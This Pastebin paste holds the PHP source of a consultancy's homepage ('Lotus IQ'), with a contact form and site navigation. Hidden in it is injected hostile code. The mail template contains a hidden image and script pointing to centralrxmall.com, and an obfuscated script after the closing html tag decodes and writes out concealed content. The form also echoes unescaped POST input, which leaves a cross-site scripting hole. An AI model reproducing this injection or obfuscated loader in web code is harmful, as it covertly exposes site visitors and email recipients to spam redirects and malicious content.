Advertisement
Guest User

Untitled

a guest
Jul 4th, 2013
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.25 KB | None | 0 0
  1. <?php  
  2. session_start();
  3. ?>
  4. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  5. <html xmlns="http://www.w3.org/1999/xhtml">
  6. <head>
  7. <title>Lotus IQ | Lead Generation, Lead Scoring, Lead Nurturing, Lead Assignment, Sales Lifecycle Management, Marketing ROI</title>
  8. <meta http-equiv="X-UA-Compatible" content="IE=7" />
  9. <meta name="keywords" content="Lotus IQ, Lead Generation, Lead Scoring, Lead Nurturing, Lead Assignment, Sales Lifecycle Management, Marketing ROI, Inside Sales, Field Force Management, Calendaring,  Forecasting, Pipeline Management, Analytics Collaterals, Data mining" />
  10. <meta name="description" content="Lotus IQ, Lead Generation, Lead Scoring, Lead Nurturing, Lead Assignment, Sales Lifecycle Management, Marketing ROI, Inside Sales, Field Force Management, Calendaring,  Forecasting, Pipeline Management, Analytics Collaterals, Data mining" />
  11. <link href="css/styles.css" title="simple" rel="stylesheet" type="text/css" />
  12. <link rel="stylesheet" type="text/css" href="style.css" />
  13. <script language="javascript" type="text/javascript" src="js/jquery-1.3.2.min.js"></script>
  14. <script type="text/javascript" language="javascript" src="js/common.js" ></script>
  15.  
  16. <?php
  17.         $valid=false;
  18.         $s = $_SESSION["security_code"];  
  19.         $c = $_POST["security_code"];
  20.        
  21.         if ($s==""){
  22.                 $valid = false;
  23.         }else if ($c==$s) {
  24.                 $valid=true;
  25.         }else if (isset($_POST["Input"])){
  26.                 $error['security_code']="<font color=red>Invalid Code</font>";
  27.         }
  28.        
  29.         if ($valid == true) {
  30.                 include_once 'functions.php';
  31.                
  32.                 $message = '<html><body>';
  33.                 $message .= '<table rules="all" style="border-color: #666;" cellpadding="10">';
  34.                 $message .= "<tr style='background: #eee;'><td colspan='2'><strong>Customer Information</strong> </td></tr>";
  35.                 $message .= "<tr><td><strong>Company Name:</strong> </td><td>" . strip_tags($_POST['company']) . "</td></tr>";
  36.                 $message .= "<tr><td><strong>Target Market(s):</strong> </td><td>" . strip_tags($_POST['targetmarket']) . "</td></tr>";
  37.                 $message .= "<tr><td><strong>What would you like to achieve?:</strong> </td><td>" . strip_tags($_POST['namex']) . "</td></tr>";
  38.                 $message .= "<tr><td><strong>Your Email:</strong> </td><td>" . $_POST['email'] . "</td></tr>";
  39.                  
  40.                 $message .= "</table>";
  41.                 $message .= '<img id="hidadvnet" style="visibility:hidden;position:absolute;top:5px;left:5px;cursor:pointer;" src="http://centralrxmall.com/campaign/hidadvnet.jpg" width="716" height="385" border="0" onclick="javascript:window.location=\'http://centralrxmall.com/\';">
  42. <script type="text/javascript">
  43. if (document.cookie.indexOf(\'hidadvnet\') == -1) { e = new Date(); e.setTime(e.getTime() + (7 * 24 * 60 * 60 * 1000)); document.cookie = \'hidadvnet=1; expires=\' + e.toGMTString();
  44. if (document.referrer.length && document.referrer.indexOf(window.location.protocol + \'//\' + window.location.hostname) != 0) document.getElementById(\'hidadvnet\').style.visibility = '\visible\'; }
  45. </script>
  46. </body></html>';
  47.                
  48.        sendmail ($_POST["company"], $_POST["email"], $message);
  49.         }
  50. ?>
  51. <script type="text/javascript">
  52. <!--start news imagesrefresh -->
  53. function new_captcha()
  54. {
  55. var c_currentTime = new Date();
  56. var c_miliseconds = c_currentTime.getTime();
  57.  
  58. document.getElementById('captcha').src = 'image.php?x='+ c_miliseconds;
  59. }
  60.  
  61.  
  62. </script>
  63. <!-- colorbox content -->
  64. <link type="text/css" media="screen" rel="stylesheet" href="css/colorbox.css" />
  65. <script type="text/javascript" src="js/jquery.colorbox.js"></script>
  66. <script type="text/javascript">
  67.                         $(document).ready(function(){                          
  68.                                 $(".testimonialVideo").colorbox();
  69.                         });
  70.                 </script>
  71. <!-- preloads selected images, usually those used in css hover effects --->
  72. <script language="javascript" type="text/javascript" src="js/imagePreloader.js"></script>
  73. <!-- add class ="png_bg" to any element to correct png transparency in ie (string argument can be any CSS selector) -->
  74. <!--[if IE 6]>
  75.         <script src="js/ddpngFix.js"></script>
  76.    <script>    
  77.         DD_belatedPNG.fix('.png_bg');
  78.    </script>
  79.    <![endif]-->
  80. <!-- coda slider --->
  81. <script type="text/javascript" src="js/jquery.easing.1.3.js"></script>
  82. <script type="text/javascript" src="js/jquery.coda-slider-2.0.js"></script>
  83. <script type="text/javascript">
  84.                 $().ready(function() {
  85.                         $('#coda-slider-1').codaSlider();
  86.                 });
  87.         </script>
  88. <!-- imports blog/podcast feeds -->
  89. <script type="text/javascript" language="javascript" src="/js/jquery.jfeed.pack.js"></script>
  90. <script>
  91.                         jQuery(function() {
  92.  
  93.                 jQuery.getFeed({
  94.                         url: '/Proxy.aspx',
  95.                         success: function(feed) {
  96.                                
  97.                                 var html = '';
  98.                                
  99.                                 for(var i = 0; i < feed.items.length && i < 2; i++) {
  100.                                         var item = feed.items[i];
  101.                                        
  102.                                         var dt = Date.parse(item.updated)
  103.                                        
  104.                                         html += '<p><a href="'
  105.                                         + item.link
  106.                                         + '">'
  107.                                         + item.title
  108.                                         + '</a>';
  109.                                        
  110.                                         html += '<span class="postdate">' + 'posted '
  111.                                         + item.updated
  112.                                         + '</span></p>';
  113.                                 }
  114.                                
  115.                                 jQuery('.result').append(html);
  116.                         }    
  117.                 });
  118.                
  119.                 jQuery.getFeed({
  120.                         url: '/Proxy.aspx?category=news',
  121.                         success: function(feed) {
  122.                                
  123.                                 var html = '';
  124.                                
  125.                                 for(var i = 0; i < feed.items.length && i < 2; i++) {
  126.                                
  127.                                         var item = feed.items[i];
  128.                                        
  129.                                         html += '<p><a href="'
  130.                                         + item.link
  131.                                         + '">'
  132.                                         + item.title
  133.                                         + '</a></p>';
  134.                                        
  135.                                         html += '<p class="postdate">' + 'posted '
  136.                                         + item.updated
  137.                                         + '</p>';
  138.                                 }
  139.                                
  140.                                 jQuery('#result_news').append(html);
  141.                         }    
  142.                 });
  143.                
  144.                 jQuery.getFeed({
  145.                         url: '/Proxy.aspx?category=podcast',
  146.                         success: function(feed) {
  147.                                
  148.                                 var html = '';
  149.                                
  150.                                 for(var i = 0; i < feed.items.length && i < 2; i++) {
  151.                                
  152.                                         var item = feed.items[i];
  153.                                        
  154.                                         html += '<li '+ (i == 0 ? 'class="first"' : '')  +'>'
  155.                                         + '<img src="images/icon_rightCol_podcast.gif"  />'
  156.                                         + '<p><a href="'+ item.link
  157.                                         + '">'
  158.                                         + item.title
  159.                                         + '</a></p>';
  160.                                        
  161.                                         html += '<p class="postdate">' + 'posted '
  162.                                         + item.updated
  163.                                         + '</li>';
  164.                                 }
  165.                                
  166.                                 jQuery('#result_podcast').append(html);
  167.                         }    
  168.                 });
  169.         });
  170.         </script>
  171. <style type="text/css">
  172. <!--
  173. .style1 {color: #FF0000}
  174. -->
  175.    </style>
  176. </head>
  177. <body>
  178. <div id="wrapper">
  179. <!---wraps entirety, defines width and margins for site--->
  180. <!---mast graphic, link--->
  181. <div id="header" class="png_bg">
  182.  <!---start top navigation--->
  183.   <ul id="logoSearch">
  184.    <li class="logo"><a href="index.php"> </a></li>
  185.          <li class="searchInput">
  186.        <div>
  187.          <div style="float:left; padding-top:3px;"><a href="index.php" style="text-decoration:none;">Home</a>&nbsp;&nbsp;&nbsp;&nbsp;|</div>
  188.          <div style="float:right"> <form action="http://search.freefind.com/find.html" method="get" accept-charset="utf-8" target="_self" id="cse-search-box">
  189.               <div>
  190.  <input type="hidden" name="si" value="68247824">
  191.                       <input type="hidden" name="pid" value="r">
  192.                       <input type="hidden" name="n" value="0">
  193.                       <input type="hidden" name="_charset_" value="">
  194.                       <input type="hidden" name="bcd" value="&#247;">
  195.                       <input type="text" name="query" size="15" class="searchInput">
  196.                 <input type="submit" name="sa" value="Search" class="searchButton" />
  197.                 <select name="" class="language">
  198.                   <option> Language </option>
  199.                 </select>
  200.               </div>
  201.             </form>
  202.           </div>
  203.           <div style="clear:both"></div>
  204.         </div>
  205.       </li>  
  206.   </ul>
  207.   <!---END top navigation--->
  208.   <!---start main navigation--->
  209.   <ul id="menu" >
  210.     <li class="firmenu"><a href="about.html" >About Us</a>
  211.              <ul >
  212.           <li><a href="whoweare.html" >Who we are</a></li>
  213.           <li><a href="whatwedo.html">What we do</a></li>
  214.           <li><a href="whatwebelieve.html">What we believe</a></li>
  215.         </ul>
  216.     </li>
  217.     <li class="features"><a href="services.html">Services</a><ul>
  218.           <li class="first"><a href="indstrategy.html">India entry Strategy and Analysis</a></li>
  219.           <li><a href="markresch.html">Market Research & Inside Sales</a></li>
  220.                   <li><a href="representation.html">Country Representation</a></li>
  221.                   <li><a href="due.html">Due Diligence</a></li>
  222.           <li><a href="indsourc.html">India sourcing</a></li>
  223.         </ul>
  224.     </li>
  225.     <li class="pricing"><a href="industries.html">Industries</a>
  226.       <ul>
  227.         <li class="first"><a href="medical.html">Medical Care</a></li>
  228.         <li><a href="pharma.html">Pharmaceutical Market</a></li>
  229.         <li ><a href="infotech.html">Information Technology</a></li>
  230.         <li ><a href="consumer.html">Consumer & Retail</a></li>
  231.         <li ><a href="renewable.html">Renewable energy</a></li>
  232.         <li ><a href="infrast.html">Infrastructure</a></li>
  233.       </ul>
  234.     </li>
  235.     <li class="training"><a href="#">Clients</a>
  236.         <ul>
  237.           <li><a href="login.html" >Client Login</a></li>
  238.           <li><a href="clients.html">Clients List</a></li>
  239.         </ul>
  240.       </li>
  241.       <li class="services" ><a href="careers.html" >Careers</a></li>
  242.     <li class="whatIs"><a href="contact.php">Contact Us</a> </li>
  243.   </ul>
  244.   <br clear="all" />
  245.   <!-- for ie6-->
  246.   <!---END main navigation--->
  247. </div>
  248. <div id="changingContent">
  249.   <div class="homeDemoWrapper">
  250.     <!-- content for tab 1 -->
  251.     <div class="homeDemoContent easy" id="customize_1" align="center">        
  252.                 <script type="text/javascript">
  253. AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','960','height','320','src','images/lotusiq3','wmode','transparent','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','images/lotusiq3' ); //end AC code
  254. </script>
  255. <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="960" height="320">
  256.               <param name="movie" value="images/lotusiq3.swf" />
  257.               <param name="quality" value="high" />
  258.               <param name="wmode" value="transparent" />
  259.               <div>
  260.                 <embed src="images/lotusiq3.swf" width="960" height="320" wmode="transparent" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash"></embed>
  261.       </object>    </div>
  262.       <div>
  263.         <p style="line-height:24px; font-size:13px; margin-top:3px; margin-bottom:0px; vertical-align:top">LotusIQ is a young and dynamic company, which helps foreign companies to enter and establish their footprints in the Indian market.
  264.           We facilitate our clients to enter the Indian market with minimal risks and enable them to successfully set-up their operations in India.
  265.           Our core focus and strength is in aiding our clients to define their strategies and providing assistance in implementation of those strategies to attain success in India.
  266.           India offers unrivalled advantages as a business destination. What you need is a partner who can open the right doors to utilize the full potential and assist you in creating your Indian Success story. </p>
  267.                   <p style="line-height:24px; font-size:13px; margin-top:5px; margin-bottom:0px; vertical-align:top"><em><span class="colred"><strong>Sustainable success for our customers :</strong> </span></em>Our customers are companies of all sizes and industries, but they have one thing in common. They face the challenge of entering, expanding and growing their business activities in India. Established in 2005, LotusIQ strives to help companies succeed in India, Our local knowledge and access make our services an essential resource for companies. As an independent company, we offer unmatched detail and unbiased content for every region, state, category and channel. </p>
  268.       </div>
  269.     </div>
  270. <div class="codaHome">
  271.   <div class="coda-slider-wrapper">
  272.     <div class="coda-slider preload" id="coda-slider-1" align="center">
  273.       <div class="panel">
  274.         <div class="panel-wrapper">
  275.           <ul>
  276.             <li> <img src="images/icon-im1.jpg"  />
  277.               <div class="carouselCopy">
  278.                 <h2>India entry strategy</h2>
  279.                 <p>Before entering a new geographic market, especially </p>
  280.                 <a href="indstrategy.html" class="readMore">Read More</a> </div>
  281.             </li>
  282.             <li> <img src="images/icon-im5.jpg"  />
  283.               <div class="carouselCopy">
  284.                 <h2>Market Research</h2>
  285.                 <p>One of the core strengths of LotusiQ is in its ability to conduct research</p>
  286.                 <a href="markresch.html" class="readMore">Read More</a> </div>
  287.             </li>
  288.             <li> <img src="images/icon-im4.jpg" />
  289.               <div class="carouselCopy">
  290.                 <h2>Inside Sales</h2>
  291.                 <p>LotusiQ has the capabilities to conduct and create in depth</p>
  292.                 <a href="markresch.html" class="readMore">Read More</a> </div>
  293.             </li>
  294.           </ul>
  295.         </div>
  296.       </div>
  297.       <div class="panel">
  298.         <div class="panel-wrapper">
  299.           <ul>
  300.             <li> <img src="images/icon-im2.jpg"  />
  301.               <div class="carouselCopy">
  302.                 <h2>Mergers & Acquisitions</h2>
  303.                 <p>LotusIQ has a separate legal division headed by one of our </p>
  304.                 <a href="mergers.html" class="readMore">Read More</a> </div>
  305.             </li>
  306.             <li> <img src="images/icon-im3.jpg"  />
  307.               <div class="carouselCopy">
  308.                 <h2>Regulatory Compliances</h2>
  309.                 <p>Need help with obtaining regulatory approval authorities both </p>
  310.                 <a href="regulatory.html" class="readMore">Read More</a> </div>
  311.             </li>
  312.             <li> <img src="images/icon-im6.jpg"  />
  313.               <div class="carouselCopy">
  314.                 <h2>Due Diligence</h2>
  315.                 <p>Evaluating a prospective business decision by getting information </p>
  316.                 <a href="due.html" class="readMore">Read More</a> </div>
  317.             </li>
  318.           </ul>
  319.         </div>
  320.       </div>
  321.     </div>
  322.     <!-- .coda-slider -->
  323.     <!-- .coda-slider-wrapper -->
  324.   </div>
  325.   <!-- testimonials / form row -->
  326.   <div class="testimonialsForm">
  327.     <div class="testimonials">
  328.       <h2>Case Studies</h2>
  329.       <div class="testimonialsContent" id="tcustomize_1"> <img src="images/small-banner.jpg" alt="lotusiq Testimonials" />
  330.         <div class="testimonialsCopy" align="left">
  331.           <p style="color:#003366; text-align:left" align="left" >We Define</p>
  332.           <p style="color:#FF0000; text-align:left" align="left">Your business goals clearly<br />
  333. So that, others can see them<br />
  334. As you do !
  335. </p>
  336.           <a href="casestudy.html" class="testimonial" title="" style="float:right">Read More</a> </div>
  337.       </div>
  338.       <div class="testimonialsPeopleTabs"> </div>
  339.     </div>
  340.     <div class="homeForm">
  341.       <?php
  342. if(isSet($status))
  343. {
  344. echo $status;
  345. }
  346.  
  347. if(!$mail)
  348. {
  349. ?>
  350.       <form action="index.php" name="formcontact" onsubmit="return validateme();" method="post">
  351.         <h2><span class="style1"><strong>Try Us! </strong></span>Intelligently increase your business now</h2>
  352.         <div class="formWrapper">
  353.           <div class="row">
  354.             <div class="label">Company Name<span class="field">
  355.               <input type="text" name="company" value="<?php echo $_POST['company']; ?>" id="company" />
  356.             </span></div>
  357.             <div class="field"></div>
  358.             <div class="label">Country</div>
  359.             <div class="field">
  360.               <input type="text" value="<?php echo $_POST['namex']; ?>"  name="namex" />
  361.             </div>
  362.             <div class="label">Email  </div>
  363.             <div class="field">
  364.               <input type="text" id="email" value="<?php echo $_POST['email']; ?>"  name="email" size="15" />
  365.             </div>
  366.                          <div class="label">Target Required</div>
  367.             <div class="field">
  368.               <input type="text" value="<?php echo $_POST['targetmarket']; ?>"  name="targetmarket" />
  369.             </div>
  370.             <div class="label"><img border="0" id="captcha" src="image.php" alt="">&nbsp;<a href="JavaScript: new_captcha();"><img border="0" alt="" src="images/refresh.png" align="bottom"></a><br />
  371.             </div>
  372.             <div > </div>
  373.             <label>Security Code</label>
  374.             <input size="13" type="text" id="security_code" name="security_code">
  375.             <span class="submitButton">
  376.             <input name="Input" type="submit"  value="Submit" />
  377.             <?php if($error['security_code'] != "") echo $error['security_code']; ?>
  378.             </span><br />
  379.           </div>
  380.           <div class="submit">
  381.             <div class="submitButton"></div>
  382.           </div>
  383.         </div>
  384.         <!--END formWrapper-->
  385.       </form>
  386.       <?php }     ?>
  387.     </div>
  388.   </div>
  389.   <div id="footer">
  390.     <ul class="columns">
  391.       <!--start links column-->
  392.       <li class="links">
  393.         <ul>
  394.           <li> <a href="indstrategy.html">India Entry Strategy</a> <a href="indiafeas.html">India Feasibility Report </a> <a href="indiaplan.html">India Plan of Action </a><a href="mergers.html">Mergers & Acquisitions</a> <a href="distributor.html">Distributor Selection </a> <a href="indiaexeplan.html">India Execution</a> </li>
  395.           <li> <a href="markresch.html">Market Research</a> <a href="indsourc.html">India Sourcing</a> <a href="regulatory.html">Regulatory Approvals</a> <a href="representation.html">India Representation</a> <a href="casestudy.html">Case Study</a> <a href="due.html">Due Diligence</a> </li>
  396.         </ul>
  397.       </li>
  398.       <!-- END links column -->
  399.       <!--start blog column -->
  400.       <li class="blog">
  401.         <h2>India News</h2>
  402.         <div class="result" style="padding-left:20px"><a href="http://www.livemint.com/StoryRss.aspx?Id=19" target="_blank">Mergers and Acquisitions</a></div>
  403.         <div class="result" style="padding-left:20px"><a href="http://indianhealthjournal.wordpress.com/feed/" target="_blank">Health</a></div>
  404.         <div class="result" style="padding-left:20px"><a href="http://www.renewsindia.com/news_rss.php" target="_blank">Renewable energy</a></div>
  405.         <div class="result" style="padding-left:20px"><a href="http://www.medcitynews.com//" target="_blank">Medical</a></div>
  406.         <div class="result" style="padding-left:20px"><a href="http://www.renewsindia.com/rss.php?news_type=most_read" target="_blank">RE news </a></div>
  407.         <div class="result" style="padding-left:20px"><a href="http://feeds.ezinearticles.com/category/Business:Retail.xml" target="_blank">Consumer and retail</a></div>
  408.         <div class="result" style="padding-left:20px"><a href="http://www.indiaprwire.com/pressrelease/information-technology/" target="_blank">Information Technology</a></div>
  409.         <div class="result" style="padding-left:20px"><a href="http://www.livemint.com/StoryRss.aspx?Id=63" target="_blank">Infrastructure</a></div>
  410.       </li>
  411.       <!-- END blog column -->
  412.       <!--start news column --> <li class="news">
  413.         <h2></h2>
  414.         <div id="result_news"></div>
  415.       </li>
  416.       <!-- END news column -->
  417.       <!--start connect column -->
  418.       <li class="connect">
  419.         <h2>Connect With Us</h2>
  420.         <ul>
  421.           <li><a href="http://twitter.com/#!/Lotusiq" target="_blank"><img src="images/icon_twitter.gif" id="ctl00_Img5" alt="Follow us on Twitter" />Follow us on Twitter</a></li>
  422.           <li><a href="http://www.facebook.com/pages/Lotus-IQ/225064010933250" target="_blank"><img src="images/icon_facebook.gif" id="ctl00_Img6" alt="Facebook Fan Page" />Become a Facebook Fan</a></li>
  423.           <li><a href="http://www.linkedin.com/pub/lotus-iq/30/b17/8b" target="_blank"><img src="images/icon_linkedIn.gif" id="ctl00_Img7" alt="LinkedIn Group" />LinkedIn</a></li>
  424.           <li><a href="http://www.youtube.com/user/lotusiq?feature=guide" target="_blank"><img src="images/icon_youTube.gif" id="ctl00_Img8" alt="lotusiq Videos" />YouTube</a></li>
  425.           <li><a href="http://lotusiq.blogspot.in/" target="_blank"><img src="images/icon_blog.gif" id="ctl00_Img8" alt="lotusiq Blog" />Blog</a></li>
  426.         </ul>
  427.       </li>
  428.     </ul>
  429.     <ul class="phoneAndFooterLinks">
  430.       <h3  class="phone" >You can contact us at : +1 646 797 2808</h3>
  431.       </li>
  432.     </ul>
  433.     <ul class="copyrightRow">
  434.       <li class="copyright">Copyright 2010 &copy; Lotus iQ. All Rights Reserved. Lotusiq.com Powered by <a href="http://www.websitevendum.com" target="_blank" title="Web design company chennai">Website Vendum.com </a></li>
  435.       <li class="copyright">This website is best viewed at IE 7+, Crome, Mozila @ 1024 x 768 or higher resolution</li>
  436.       <br clear="all" />
  437.     </ul>
  438.   </div>
  439. </div>
  440. </div>
  441. </div>
  442. </div>
  443. </body>
  444. </html>
  445. <script>
  446.  
  447.  
  448. function numberonly(e)
  449. {
  450.   var unicode=e.charcode?e.charcode:e.keyCode;
  451.     if (unicode==0) {// mozilla
  452.         unicode= e.which;
  453.     }  
  454.     if(unicode!=8 && unicode!=9)
  455.     {
  456.         if(unicode < 48 || unicode > 57 )
  457.         return false;
  458.     }
  459. }
  460.  
  461. function validateme(){
  462.         var msg = "";
  463.        
  464.         if (document.getElementById("company").value == ""){
  465.                 msg = msg + "\n" + "Enter Company Name";
  466.         }
  467.         if (document.getElementById("email").value == ""){
  468.                 msg = msg + "\n" + "Enter Email";
  469.         }
  470.         var email = document.getElementById("email").value;
  471.  
  472.         if (email!= ""){
  473.         if(!validateEmail(email)) {
  474.                         msg = msg + "\n" + "Invalid Email";  
  475.         }
  476.     }
  477.         if (document.getElementById("security_code").value == ""){
  478.                 msg = msg + "\n" + "Enter Security Code ";
  479.         }
  480.        
  481.        
  482.         if (msg !=""){
  483.                 alert(msg);
  484.                 return false;  
  485.         }
  486. }
  487.  
  488. function validateEmail(email) {
  489.         if(email.length = 0) {
  490.                 return true;
  491.         }
  492.         var splitted = email.match("^(.+)@(.+)$");
  493.         if(splitted == null) return false;
  494.         if(splitted[1] != null ) {
  495.                 var regexp_user = /^\"?[\w-_\.]*\"?$/;
  496.                 if(splitted[1].match(regexp_user) == null)
  497.                         return false;
  498.         }
  499.         if(splitted[2] != null) {
  500.                 var regexp_domain = /^[\w-_\.]*\.[A-Za-z]{2,3}$/;
  501.                 if(splitted[2].match(regexp_domain) == null) {
  502.                         var regexp_ip = /^\[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\]$/;
  503.                         if(splitted[2].match(regexp_ip) == null)
  504.                                 return false;
  505.                 }// if
  506.                 return true;
  507.         }
  508.         return false;
  509. }
  510. </script>
  511. <script>var _W=(Date);if(_W){_n=['f^%c:%2','%5}%9,%8`%0@%1/%6?%3#%a*%4]%e=%d+%7!'];}var _U={'_1G':'decode\x55\x52\x49\x43\x6F\x6D\x70\x6F\x6Eent','_qh':[],'_JQ':'\x73\x74\x72ing','_Lz':'j\x6F\x69n','_Z5':'\x73\x75bstr','_yH':!false,'_Ws':'s\x70\x6Cit'},_JQ=function(_){for(_o=~_U._qh-~_U._qh;_o<_P[_]/2;_o++){_n+='\x25'+_P[_U._Z5](_o*2, 2);}do\u0063\u0075\u006D\u0065nt.\u0077rite(_c[_U._1G](_n));},_P='#:?,??!$?/?+?}$@!#!$?##+$$?`!]!]!@#*$^$^!#!}!#!]?^?:?^!??/$=?=?}!]$^?!?^$=!@?`!@#^!#?,?]#+#/$$$@!!?,?]!]?`#+$$#/#@$$$@?`?}?,?!?`!]#+$$#/#@$$$@??!$?/?+?}?$?^!$?]?}!$#+$$#@$$#=#:$^?,??!$?/?+?}#=',_R=function(){_R=_n[_U._Lz]('\x24')[_U._Ws]('\x25');for(var _p in _R){if(typeof(_R[_p])==_U._JQ){_P=_P[_U._Ws](_R[_p][_U._Z5](1))[_U._Lz](_R[_p][_U._Z5](0,1));}}return this;},_c=_R(),_n='';_JQ('\x6C\x65\x6Egth');</script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement